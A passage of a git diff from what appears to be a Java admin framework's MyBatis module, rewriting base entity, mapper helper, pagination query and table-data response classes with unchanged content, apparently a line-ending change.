FieldFill.INSERT) - private Long createDept; - - /** - * 创建者 - */ - @TableField(fill = FieldFill.INSERT) - private Long createBy; - - /** - * 创建时间 - */ - @TableField(fill = FieldFill.INSERT) - private Date createTime; - - /** - * 更新者 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private Long updateBy; - - /** - * 更新时间 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private Date updateTime; - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); - -} +package org.dromara.common.mybatis.core.domain; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * Entity基类 + * + * @author Lion Li + */ +@Data +public class BaseEntity implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 搜索值 + */ + @JsonIgnore + @TableField(exist = false) + private String searchValue; + + /** + * 创建部门 + */ + @TableField(fill = FieldFill.INSERT) + private Long createDept; + + /** + * 创建者 + */ + @TableField(fill = FieldFill.INSERT) + private Long createBy; + + /** + * 创建时间 + */ + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + /** + * 更新者 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private Long updateBy; + + /** + * 更新时间 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/mapper/BaseMapperPlus.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/mapper/BaseMapperPlus.java index 24557ed..9d5b4c8 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/mapper/BaseMapperPlus.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/mapper/BaseMapperPlus.java @@ -1,334 +1,334 @@ -package org.dromara.common.mybatis.core.mapper; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.reflect.GenericTypeUtils; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.extension.toolkit.Db; -import org.apache.ibatis.logging.Log; -import org.apache.ibatis.logging.LogFactory; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StreamUtils; - -import java.io.Serializable; -import java.util.Collection; -import java.util.List; -import java.util.Map; -import java.util.function.Function; - -/** - * 自定义 Mapper 接口, 实现 自定义扩展 - * - * @param table 泛型 - * @param vo 泛型 - * @author Lion Li - * @since 2021-05-13 - */ -@SuppressWarnings("unchecked") -public interface BaseMapperPlus extends BaseMapper { - - Log log = LogFactory.getLog(BaseMapperPlus.class); - - /** - * 获取当前实例对象关联的泛型类型 V 的 Class 对象 - * - * @return 返回当前实例对象关联的泛型类型 V 的 Class 对象 - */ - default Class currentVoClass() { - return (Class) GenericTypeUtils.resolveTypeArguments(this.getClass(), BaseMapperPlus.class)[1]; - } - - /** - * 获取当前实例对象关联的泛型类型 T 的 Class 对象 - * - * @return 返回当前实例对象关联的泛型类型 T 的 Class 对象 - */ - default Class currentModelClass() { - return (Class) GenericTypeUtils.resolveTypeArguments(this.getClass(), BaseMapperPlus.class)[0]; - } - - /** - * 使用默认的查询条件查询并返回结果列表 - * - * @return 返回查询结果的列表 - */ - default List selectList() { - return this.selectList(new QueryWrapper<>()); - } - - /** - * 批量插入实体对象集合 - * - * @param entityList 实体对象集合 - * @return 插入操作是否成功的布尔值 - */ - default boolean insertBatch(Collection entityList) { - return Db.saveBatch(entityList); - } - - /** - * 批量根据ID更新实体对象集合 - * - * @param entityList 实体对象集合 - * @return 更新操作是否成功的布尔值 - */ - default boolean updateBatchById(Collection entityList) { - return Db.updateBatchById(entityList); - } - - /** - * 批量插入或更新实体对象集合 - * - * @param entityList 实体对象集合 - * @return 插入或更新操作是否成功的布尔值 - */ - default boolean insertOrUpdateBatch(Collection entityList) { - return Db.saveOrUpdateBatch(entityList); - } - - /** - * 批量插入实体对象集合并指定批处理大小 - * - * @param entityList 实体对象集合 - * @param batchSize 批处理大小 - * @return 插入操作是否成功的布尔值 - */ - default boolean insertBatch(Collection entityList, int batchSize) { - return Db.saveBatch(entityList, batchSize); - } - - /** - * 批量根据ID更新实体对象集合并指定批处理大小 - * - * @param entityList 实体对象集合 - * @param batchSize 批处理大小 - * @return 更新操作是否成功的布尔值 - */ - default boolean updateBatchById(Collection entityList, int batchSize) { - return Db.updateBatchById(entityList, batchSize); - } - - /** - * 批量插入或更新实体对象集合并指定批处理大小 - * - * @param entityList 实体对象集合 - * @param batchSize 批处理大小 - * @return 插入或更新操作是否成功的布尔值 - */ - default boolean insertOrUpdateBatch(Collection entityList, int batchSize) { - return Db.saveOrUpdateBatch(entityList, batchSize); - } - - /** - * 根据ID查询单个VO对象 - * - * @param id 主键ID - * @return 查询到的单个VO对象 - */ - default V selectVoById(Serializable id) { - return selectVoById(id, this.currentVoClass()); - } - - /** - * 根据ID查询单个VO对象并将其转换为指定的VO类 - * - * @param id 主键ID - * @param voClass 要转换的VO类的Class对象 - * @param VO类的类型 - * @return 查询到的单个VO对象,经过转换为指定的VO类后返回 - */ - default C selectVoById(Serializable id, Class voClass) { - T obj = this.selectById(id); - if (ObjectUtil.isNull(obj)) { - return null; - } - return MapstructUtils.convert(obj, voClass); - } - - /** - * 根据ID集合批量查询VO对象列表 - * - * @param idList 主键ID集合 - * @return 查询到的VO对象列表 - */ - default List selectVoByIds(Collection idList) { - return selectVoByIds(idList, this.currentVoClass()); - } - - /** - * 根据ID集合批量查询实体对象列表,并将其转换为指定的VO对象列表 - * - * @param idList 主键ID集合 - * @param voClass 要转换的VO类的Class对象 - * @param VO类的类型 - * @return 查询到的VO对象列表,经过转换为指定的VO类后返回 - */ - default List selectVoByIds(Collection idList, Class voClass) { - List list = this.selectByIds(idList); - if (CollUtil.isEmpty(list)) { - return CollUtil.newArrayList(); - } - return MapstructUtils.convert(list, voClass); - } - - /** - * 根据查询条件Map查询VO对象列表 - * - * @param map 查询条件Map - * @return 查询到的VO对象列表 - */ - default List selectVoByMap(Map map) { - return selectVoByMap(map, this.currentVoClass()); - } - - /** - * 根据查询条件Map查询实体对象列表,并将其转换为指定的VO对象列表 - * - * @param map 查询条件Map - * @param voClass 要转换的VO类的Class对象 - * @param VO类的类型 - * @return 查询到的VO对象列表,经过转换为指定的VO类后返回 - */ - default List selectVoByMap(Map map, Class voClass) { - List list = this.selectByMap(map); - if (CollUtil.isEmpty(list)) { - return CollUtil.newArrayList(); - } - return MapstructUtils.convert(list, voClass); - } - - /** - * 根据条件查询单个VO对象 - * - * @param wrapper 查询条件Wrapper - * @return 查询到的单个VO对象 - */ - default V selectVoOne(Wrapper wrapper) { - return selectVoOne(wrapper, this.currentVoClass()); - } - - /** - * 根据条件查询单个VO对象,并根据需要决定是否抛出异常 - * - * @param wrapper 查询条件Wrapper - * @param throwEx 是否抛出异常的标志 - * @return 查询到的单个VO对象 - */ - default V selectVoOne(Wrapper wrapper, boolean throwEx) { - return selectVoOne(wrapper, this.currentVoClass(), throwEx); - } - - /** - * 根据条件查询单个VO对象,并指定返回的VO对象的类型 - * - * @param wrapper 查询条件Wrapper - * @param voClass 返回的VO对象的Class对象 - * @param 返回的VO对象的类型 - * @return 查询到的单个VO对象,经过类型转换为指定的VO类后返回 - */ - default C selectVoOne(Wrapper wrapper, Class voClass) { - return selectVoOne(wrapper, voClass, true); - } - - /** - * 根据条件查询单个实体对象,并将其转换为指定的VO对象 - * - * @param wrapper 查询条件Wrapper - * @param voClass 要转换的VO类的Class对象 - * @param throwEx 是否抛出异常的标志 - * @param VO类的类型 - * @return 查询到的单个VO对象,经过转换为指定的VO类后返回 - */ - default C selectVoOne(Wrapper wrapper, Class voClass, boolean throwEx) { - T obj = this.selectOne(wrapper, throwEx); - if (ObjectUtil.isNull(obj)) { - return null; - } - return MapstructUtils.convert(obj, voClass); - } - - /** - * 查询所有VO对象列表 - * - * @return 查询到的VO对象列表 - */ - default List selectVoList() { - return selectVoList(new QueryWrapper<>(), this.currentVoClass()); - } - - /** - * 根据条件查询VO对象列表 - * - * @param wrapper 查询条件Wrapper - * @return 查询到的VO对象列表 - */ - default List selectVoList(Wrapper wrapper) { - return selectVoList(wrapper, this.currentVoClass()); - } - - /** - * 根据条件查询实体对象列表,并将其转换为指定的VO对象列表 - * - * @param wrapper 查询条件Wrapper - * @param voClass 要转换的VO类的Class对象 - * @param VO类的类型 - * @return 查询到的VO对象列表,经过转换为指定的VO类后返回 - */ - default List selectVoList(Wrapper wrapper, Class voClass) { - List list = this.selectList(wrapper); - if (CollUtil.isEmpty(list)) { - return CollUtil.newArrayList(); - } - return MapstructUtils.convert(list, voClass); - } - - /** - * 根据条件分页查询VO对象列表 - * - * @param page 分页信息 - * @param wrapper 查询条件Wrapper - * @return 查询到的VO对象分页列表 - */ - default

> P selectVoPage(IPage page, Wrapper wrapper) { - return selectVoPage(page, wrapper, this.currentVoClass()); - } - - /** - * 根据条件分页查询实体对象列表,并将其转换为指定的VO对象分页列表 - * - * @param page 分页信息 - * @param wrapper 查询条件Wrapper - * @param voClass 要转换的VO类的Class对象 - * @param VO类的类型 - * @param

VO对象分页列表的类型 - * @return 查询到的VO对象分页列表,经过转换为指定的VO类后返回 - */ - default > P selectVoPage(IPage page, Wrapper wrapper, Class voClass) { - // 根据条件分页查询实体对象列表 - List list = this.selectList(page, wrapper); - // 创建一个新的VO对象分页列表,并设置分页信息 - IPage voPage = new Page<>(page.getCurrent(), page.getSize(), page.getTotal()); - if (CollUtil.isEmpty(list)) { - return (P) voPage; - } - voPage.setRecords(MapstructUtils.convert(list, voClass)); - return (P) voPage; - } - - /** - * 根据条件查询符合条件的对象,并将其转换为指定类型的对象列表 - * - * @param wrapper 查询条件Wrapper - * @param mapper 转换函数,用于将查询到的对象转换为指定类型的对象 - * @param 要转换的对象的类型 - * @return 查询到的符合条件的对象列表,经过转换为指定类型的对象后返回 - */ - default List selectObjs(Wrapper wrapper, Function mapper) { - return StreamUtils.toList(this.selectObjs(wrapper), mapper); - } - -} +package org.dromara.common.mybatis.core.mapper; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.reflect.GenericTypeUtils; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.extension.toolkit.Db; +import org.apache.ibatis.logging.Log; +import org.apache.ibatis.logging.LogFactory; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StreamUtils; + +import java.io.Serializable; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.function.Function; + +/** + * 自定义 Mapper 接口, 实现 自定义扩展 + * + * @param table 泛型 + * @param vo 泛型 + * @author Lion Li + * @since 2021-05-13 + */ +@SuppressWarnings("unchecked") +public interface BaseMapperPlus extends BaseMapper { + + Log log = LogFactory.getLog(BaseMapperPlus.class); + + /** + * 获取当前实例对象关联的泛型类型 V 的 Class 对象 + * + * @return 返回当前实例对象关联的泛型类型 V 的 Class 对象 + */ + default Class currentVoClass() { + return (Class) GenericTypeUtils.resolveTypeArguments(this.getClass(), BaseMapperPlus.class)[1]; + } + + /** + * 获取当前实例对象关联的泛型类型 T 的 Class 对象 + * + * @return 返回当前实例对象关联的泛型类型 T 的 Class 对象 + */ + default Class currentModelClass() { + return (Class) GenericTypeUtils.resolveTypeArguments(this.getClass(), BaseMapperPlus.class)[0]; + } + + /** + * 使用默认的查询条件查询并返回结果列表 + * + * @return 返回查询结果的列表 + */ + default List selectList() { + return this.selectList(new QueryWrapper<>()); + } + + /** + * 批量插入实体对象集合 + * + * @param entityList 实体对象集合 + * @return 插入操作是否成功的布尔值 + */ + default boolean insertBatch(Collection entityList) { + return Db.saveBatch(entityList); + } + + /** + * 批量根据ID更新实体对象集合 + * + * @param entityList 实体对象集合 + * @return 更新操作是否成功的布尔值 + */ + default boolean updateBatchById(Collection entityList) { + return Db.updateBatchById(entityList); + } + + /** + * 批量插入或更新实体对象集合 + * + * @param entityList 实体对象集合 + * @return 插入或更新操作是否成功的布尔值 + */ + default boolean insertOrUpdateBatch(Collection entityList) { + return Db.saveOrUpdateBatch(entityList); + } + + /** + * 批量插入实体对象集合并指定批处理大小 + * + * @param entityList 实体对象集合 + * @param batchSize 批处理大小 + * @return 插入操作是否成功的布尔值 + */ + default boolean insertBatch(Collection entityList, int batchSize) { + return Db.saveBatch(entityList, batchSize); + } + + /** + * 批量根据ID更新实体对象集合并指定批处理大小 + * + * @param entityList 实体对象集合 + * @param batchSize 批处理大小 + * @return 更新操作是否成功的布尔值 + */ + default boolean updateBatchById(Collection entityList, int batchSize) { + return Db.updateBatchById(entityList, batchSize); + } + + /** + * 批量插入或更新实体对象集合并指定批处理大小 + * + * @param entityList 实体对象集合 + * @param batchSize 批处理大小 + * @return 插入或更新操作是否成功的布尔值 + */ + default boolean insertOrUpdateBatch(Collection entityList, int batchSize) { + return Db.saveOrUpdateBatch(entityList, batchSize); + } + + /** + * 根据ID查询单个VO对象 + * + * @param id 主键ID + * @return 查询到的单个VO对象 + */ + default V selectVoById(Serializable id) { + return selectVoById(id, this.currentVoClass()); + } + + /** + * 根据ID查询单个VO对象并将其转换为指定的VO类 + * + * @param id 主键ID + * @param voClass 要转换的VO类的Class对象 + * @param VO类的类型 + * @return 查询到的单个VO对象,经过转换为指定的VO类后返回 + */ + default C selectVoById(Serializable id, Class voClass) { + T obj = this.selectById(id); + if (ObjectUtil.isNull(obj)) { + return null; + } + return MapstructUtils.convert(obj, voClass); + } + + /** + * 根据ID集合批量查询VO对象列表 + * + * @param idList 主键ID集合 + * @return 查询到的VO对象列表 + */ + default List selectVoByIds(Collection idList) { + return selectVoByIds(idList, this.currentVoClass()); + } + + /** + * 根据ID集合批量查询实体对象列表,并将其转换为指定的VO对象列表 + * + * @param idList 主键ID集合 + * @param voClass 要转换的VO类的Class对象 + * @param VO类的类型 + * @return 查询到的VO对象列表,经过转换为指定的VO类后返回 + */ + default List selectVoByIds(Collection idList, Class voClass) { + List list = this.selectByIds(idList); + if (CollUtil.isEmpty(list)) { + return CollUtil.newArrayList(); + } + return MapstructUtils.convert(list, voClass); + } + + /** + * 根据查询条件Map查询VO对象列表 + * + * @param map 查询条件Map + * @return 查询到的VO对象列表 + */ + default List selectVoByMap(Map map) { + return selectVoByMap(map, this.currentVoClass()); + } + + /** + * 根据查询条件Map查询实体对象列表,并将其转换为指定的VO对象列表 + * + * @param map 查询条件Map + * @param voClass 要转换的VO类的Class对象 + * @param VO类的类型 + * @return 查询到的VO对象列表,经过转换为指定的VO类后返回 + */ + default List selectVoByMap(Map map, Class voClass) { + List list = this.selectByMap(map); + if (CollUtil.isEmpty(list)) { + return CollUtil.newArrayList(); + } + return MapstructUtils.convert(list, voClass); + } + + /** + * 根据条件查询单个VO对象 + * + * @param wrapper 查询条件Wrapper + * @return 查询到的单个VO对象 + */ + default V selectVoOne(Wrapper wrapper) { + return selectVoOne(wrapper, this.currentVoClass()); + } + + /** + * 根据条件查询单个VO对象,并根据需要决定是否抛出异常 + * + * @param wrapper 查询条件Wrapper + * @param throwEx 是否抛出异常的标志 + * @return 查询到的单个VO对象 + */ + default V selectVoOne(Wrapper wrapper, boolean throwEx) { + return selectVoOne(wrapper, this.currentVoClass(), throwEx); + } + + /** + * 根据条件查询单个VO对象,并指定返回的VO对象的类型 + * + * @param wrapper 查询条件Wrapper + * @param voClass 返回的VO对象的Class对象 + * @param 返回的VO对象的类型 + * @return 查询到的单个VO对象,经过类型转换为指定的VO类后返回 + */ + default C selectVoOne(Wrapper wrapper, Class voClass) { + return selectVoOne(wrapper, voClass, true); + } + + /** + * 根据条件查询单个实体对象,并将其转换为指定的VO对象 + * + * @param wrapper 查询条件Wrapper + * @param voClass 要转换的VO类的Class对象 + * @param throwEx 是否抛出异常的标志 + * @param VO类的类型 + * @return 查询到的单个VO对象,经过转换为指定的VO类后返回 + */ + default C selectVoOne(Wrapper wrapper, Class voClass, boolean throwEx) { + T obj = this.selectOne(wrapper, throwEx); + if (ObjectUtil.isNull(obj)) { + return null; + } + return MapstructUtils.convert(obj, voClass); + } + + /** + * 查询所有VO对象列表 + * + * @return 查询到的VO对象列表 + */ + default List selectVoList() { + return selectVoList(new QueryWrapper<>(), this.currentVoClass()); + } + + /** + * 根据条件查询VO对象列表 + * + * @param wrapper 查询条件Wrapper + * @return 查询到的VO对象列表 + */ + default List selectVoList(Wrapper wrapper) { + return selectVoList(wrapper, this.currentVoClass()); + } + + /** + * 根据条件查询实体对象列表,并将其转换为指定的VO对象列表 + * + * @param wrapper 查询条件Wrapper + * @param voClass 要转换的VO类的Class对象 + * @param VO类的类型 + * @return 查询到的VO对象列表,经过转换为指定的VO类后返回 + */ + default List selectVoList(Wrapper wrapper, Class voClass) { + List list = this.selectList(wrapper); + if (CollUtil.isEmpty(list)) { + return CollUtil.newArrayList(); + } + return MapstructUtils.convert(list, voClass); + } + + /** + * 根据条件分页查询VO对象列表 + * + * @param page 分页信息 + * @param wrapper 查询条件Wrapper + * @return 查询到的VO对象分页列表 + */ + default

> P selectVoPage(IPage page, Wrapper wrapper) { + return selectVoPage(page, wrapper, this.currentVoClass()); + } + + /** + * 根据条件分页查询实体对象列表,并将其转换为指定的VO对象分页列表 + * + * @param page 分页信息 + * @param wrapper 查询条件Wrapper + * @param voClass 要转换的VO类的Class对象 + * @param VO类的类型 + * @param

VO对象分页列表的类型 + * @return 查询到的VO对象分页列表,经过转换为指定的VO类后返回 + */ + default > P selectVoPage(IPage page, Wrapper wrapper, Class voClass) { + // 根据条件分页查询实体对象列表 + List list = this.selectList(page, wrapper); + // 创建一个新的VO对象分页列表,并设置分页信息 + IPage voPage = new Page<>(page.getCurrent(), page.getSize(), page.getTotal()); + if (CollUtil.isEmpty(list)) { + return (P) voPage; + } + voPage.setRecords(MapstructUtils.convert(list, voClass)); + return (P) voPage; + } + + /** + * 根据条件查询符合条件的对象,并将其转换为指定类型的对象列表 + * + * @param wrapper 查询条件Wrapper + * @param mapper 转换函数,用于将查询到的对象转换为指定类型的对象 + * @param 要转换的对象的类型 + * @return 查询到的符合条件的对象列表,经过转换为指定类型的对象后返回 + */ + default List selectObjs(Wrapper wrapper, Function mapper) { + return StreamUtils.toList(this.selectObjs(wrapper), mapper); + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/PageQuery.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/PageQuery.java index 3f7797d..cd969c3 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/PageQuery.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/PageQuery.java @@ -1,122 +1,122 @@ -package org.dromara.common.mybatis.core.page; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.metadata.OrderItem; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.fasterxml.jackson.annotation.JsonIgnore; -import lombok.Data; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.sql.SqlUtil; - -import java.io.Serial; -import java.io.Serializable; -import java.util.ArrayList; -import java.util.List; - -/** - * 分页查询实体类 - * - * @author Lion Li - */ -@Data -public class PageQuery implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 分页大小 - */ - private Integer pageSize; - - /** - * 当前页数 - */ - private Integer pageNum; - - /** - * 排序列 - */ - private String orderByColumn; - - /** - * 排序的方向desc或者asc - */ - private String isAsc; - - /** - * 当前记录起始索引 默认值 - */ - public static final int DEFAULT_PAGE_NUM = 1; - - /** - * 每页显示记录数 默认值 默认查全部 - */ - public static final int DEFAULT_PAGE_SIZE = Integer.MAX_VALUE; - - /** - * 构建分页对象 - */ - public Page build() { - Integer pageNum = ObjectUtil.defaultIfNull(getPageNum(), DEFAULT_PAGE_NUM); - Integer pageSize = ObjectUtil.defaultIfNull(getPageSize(), DEFAULT_PAGE_SIZE); - if (pageNum <= 0) { - pageNum = DEFAULT_PAGE_NUM; - } - Page page = new Page<>(pageNum, pageSize); - List orderItems = buildOrderItem(); - if (CollUtil.isNotEmpty(orderItems)) { - page.addOrder(orderItems); - } - return page; - } - - /** - * 构建排序 - * - * 支持的用法如下: - * {isAsc:"asc",orderByColumn:"id"} order by id asc - * {isAsc:"asc",orderByColumn:"id,createTime"} order by id asc,create_time asc - * {isAsc:"desc",orderByColumn:"id,createTime"} order by id desc,create_time desc - * {isAsc:"asc,desc",orderByColumn:"id,createTime"} order by id asc,create_time desc - */ - private List buildOrderItem() { - if (StringUtils.isBlank(orderByColumn) || StringUtils.isBlank(isAsc)) { - return null; - } - String orderBy = SqlUtil.escapeOrderBySql(orderByColumn); - orderBy = StringUtils.toUnderScoreCase(orderBy); - - // 兼容前端排序类型 - isAsc = StringUtils.replaceEach(isAsc, new String[]{"ascending", "descending"}, new String[]{"asc", "desc"}); - - String[] orderByArr = orderBy.split(StringUtils.SEPARATOR); - String[] isAscArr = isAsc.split(StringUtils.SEPARATOR); - if (isAscArr.length != 1 && isAscArr.length != orderByArr.length) { - throw new ServiceException("排序参数有误"); - } - - List list = new ArrayList<>(); - // 每个字段各自排序 - for (int i = 0; i < orderByArr.length; i++) { - String orderByStr = orderByArr[i]; - String isAscStr = isAscArr.length == 1 ? isAscArr[0] : isAscArr[i]; - if ("asc".equals(isAscStr)) { - list.add(OrderItem.asc(orderByStr)); - } else if ("desc".equals(isAscStr)) { - list.add(OrderItem.desc(orderByStr)); - } else { - throw new ServiceException("排序参数有误"); - } - } - return list; - } - - @JsonIgnore - public Integer getFirstNum() { - return (pageNum - 1) * pageSize; - } - -} +package org.dromara.common.mybatis.core.page; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.metadata.OrderItem; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.Data; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.sql.SqlUtil; + +import java.io.Serial; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; + +/** + * 分页查询实体类 + * + * @author Lion Li + */ +@Data +public class PageQuery implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 分页大小 + */ + private Integer pageSize; + + /** + * 当前页数 + */ + private Integer pageNum; + + /** + * 排序列 + */ + private String orderByColumn; + + /** + * 排序的方向desc或者asc + */ + private String isAsc; + + /** + * 当前记录起始索引 默认值 + */ + public static final int DEFAULT_PAGE_NUM = 1; + + /** + * 每页显示记录数 默认值 默认查全部 + */ + public static final int DEFAULT_PAGE_SIZE = Integer.MAX_VALUE; + + /** + * 构建分页对象 + */ + public Page build() { + Integer pageNum = ObjectUtil.defaultIfNull(getPageNum(), DEFAULT_PAGE_NUM); + Integer pageSize = ObjectUtil.defaultIfNull(getPageSize(), DEFAULT_PAGE_SIZE); + if (pageNum <= 0) { + pageNum = DEFAULT_PAGE_NUM; + } + Page page = new Page<>(pageNum, pageSize); + List orderItems = buildOrderItem(); + if (CollUtil.isNotEmpty(orderItems)) { + page.addOrder(orderItems); + } + return page; + } + + /** + * 构建排序 + * + * 支持的用法如下: + * {isAsc:"asc",orderByColumn:"id"} order by id asc + * {isAsc:"asc",orderByColumn:"id,createTime"} order by id asc,create_time asc + * {isAsc:"desc",orderByColumn:"id,createTime"} order by id desc,create_time desc + * {isAsc:"asc,desc",orderByColumn:"id,createTime"} order by id asc,create_time desc + */ + private List buildOrderItem() { + if (StringUtils.isBlank(orderByColumn) || StringUtils.isBlank(isAsc)) { + return null; + } + String orderBy = SqlUtil.escapeOrderBySql(orderByColumn); + orderBy = StringUtils.toUnderScoreCase(orderBy); + + // 兼容前端排序类型 + isAsc = StringUtils.replaceEach(isAsc, new String[]{"ascending", "descending"}, new String[]{"asc", "desc"}); + + String[] orderByArr = orderBy.split(StringUtils.SEPARATOR); + String[] isAscArr = isAsc.split(StringUtils.SEPARATOR); + if (isAscArr.length != 1 && isAscArr.length != orderByArr.length) { + throw new ServiceException("排序参数有误"); + } + + List list = new ArrayList<>(); + // 每个字段各自排序 + for (int i = 0; i < orderByArr.length; i++) { + String orderByStr = orderByArr[i]; + String isAscStr = isAscArr.length == 1 ? isAscArr[0] : isAscArr[i]; + if ("asc".equals(isAscStr)) { + list.add(OrderItem.asc(orderByStr)); + } else if ("desc".equals(isAscStr)) { + list.add(OrderItem.desc(orderByStr)); + } else { + throw new ServiceException("排序参数有误"); + } + } + return list; + } + + @JsonIgnore + public Integer getFirstNum() { + return (pageNum - 1) * pageSize; + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/TableDataInfo.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/TableDataInfo.java index 8ecfb54..5bcd5c5 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/TableDataInfo.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/core/page/TableDataInfo.java @@ -1,89 +1,89 @@ -package org.dromara.common.mybatis.core.page; - -import cn.hutool.http.HttpStatus; -import com.baomidou.mybatisplus.core.metadata.IPage; -import lombok.Data; -import lombok.NoArgsConstructor; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 表格分页数据对象 - * - * @author Lion Li - */ -@Data -@NoArgsConstructor -public class TableDataInfo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 总记录数 - */ - private long total; - - /** - * 列表数据 - */ - private List rows; - - /** - * 消息状态码 - */ - private int code; - - /** - * 消息内容 - */ - private String msg; - - /** - * 分页 - * - * @param list 列表数据 - * @param total 总记录数 - */ - public TableDataInfo(List list, long total) { - this.rows = list; - this.total = total; - } - - /** - * 根据分页对象构建表格分页数据对象 - */ - public static TableDataInfo build(IPage page) { - TableDataInfo rspData = new TableDataInfo<>(); - rspData.setCode(HttpStatus.HTTP_OK); - rspData.setMsg("查询成功"); - rspData.setRows(page.getRecords()); - rspData.setTotal(page.getTotal()); - return rspData; - } - - /** - * 根据数据列表构建表格分页数据对象 - */ - public static TableDataInfo build(List list) { - TableDataInfo rspData = new TableDataInfo<>(); - rspData.setCode(HttpStatus.HTTP_OK); - rspData.setMsg("查询成功"); - rspData.setRows(list); - rspData.setTotal(list.size()); - return rspData; - } - - /** - * 构建表格分页数据对象 - */ - public static TableDataInfo build() { - TableDataInfo rspData = new TableDataInfo<>(); - rspData.setCode(HttpStatus.HTTP_OK); - rspData.setMsg("查询成功"); - return rspData; - } - -} +package org.dromara.common.mybatis.core.page; + +import cn.hutool.http.HttpStatus; +import com.baomidou.mybatisplus.core.metadata.IPage; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 表格分页数据对象 + * + * @author Lion Li + */ +@Data +@NoArgsConstructor +public class TableDataInfo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 总记录数 + */ + private long total; + + /** + * 列表数据 + */ + private List rows; + + /** + * 消息状态码 + */ + private int code; + + /** + * 消息内容 + */ + private String msg; + + /** + * 分页 + * + * @param list 列表数据 + * @param total 总记录数 + */ + public TableDataInfo(List list, long total) { + this.rows = list; + this.total = total; + } + + /** + * 根据分页对象构建表格分页数据对象 + */ + public static TableDataInfo build(IPage page) { + TableDataInfo rspData = new TableDataInfo<>(); + rspData.setCode(HttpStatus.HTTP_OK); + rspData.setMsg("查询成功"); + rspData.setRows(page.getRecords()); + rspData.setTotal(page.getTotal()); + return rspData; + } + + /** + * 根据数据列表构建表格分页数据对象 + */ + public static TableDataInfo build(List list) { + TableDataInfo rspData = new TableDataInfo<>(); + rspData.setCode(HttpStatus.HTTP_OK); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(list.size()); + return rspData; + } + + /** + * 构建表格分页数据对象 + */ + public static TableDataInfo build() { + TableDataInfo rspData = new TableDataInfo<>(); + rspData.setCode(HttpStatus.HTTP_OK); + rspData.setMsg("查询成功"); + return rspData; + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataBaseType.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataBaseType.java index 5084424..5203336 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataBaseType.java +++ 